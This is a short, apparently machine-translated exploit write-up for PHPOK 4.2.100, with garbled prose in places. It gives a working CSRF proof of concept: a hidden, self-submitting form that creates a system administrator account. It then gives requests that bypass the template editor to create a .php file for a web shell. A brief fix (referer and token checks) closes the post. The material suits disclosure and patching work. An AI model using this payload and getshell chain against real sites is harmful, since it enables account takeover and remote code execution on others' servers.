Phpok csrf add administrator + background getshell

Phpok csrf add administrator + background getshell

Version: 4.2.100
The risk of CSRF lies in web applications that execute certain behaviors through trusted input forms and authenticated users who do not need to be authorized for specific behaviors. Users who have passed the cookie stored in the user's browser for authentication will send an HTTP request to the site that trusts him in the case of full ignorance, and then do the behavior that the user does not want to do.

Poc:

<div style="display:none"><form action="http://localhost/phpok/admin.php?c=admin&f=save" id="poc" name="poc" method="post"><input type="hidden" name="id" value=""/><input type="hidden" name="account" value=""/><input type="hidden" name="pass" value=""/><input type="hidden" name="email" value=""/><input type="hidden" name="status" value=""/><input type="hidden" name="if_system" value=""/><input type="submit" name="up" value="submit"/></form><script>var t = document.poc;t.account.value="wooyun";t.pass.value="123456";t.status.value="1";t.if_system.value="1";document.poc.submit();</script></div>

 

After poc access
 

Getshell:

Style management-create a template file

By default, only html files can be added. However, you can bypass
 

Set

GET/phpok/admin. php? C = tpl & f = create & id = 1 & folder =/&type=file&title=wooyun.html

Modify

GET /phpok/admin.php?c=tpl&f=create&id=1&folder=/&type=file&title=wooyun.php

 

Then, it is OK to write a Trojan into the editing file.



File directory/tpl/www/
 

 

 

 

Solution:

Determine the referer Source

Add token judgment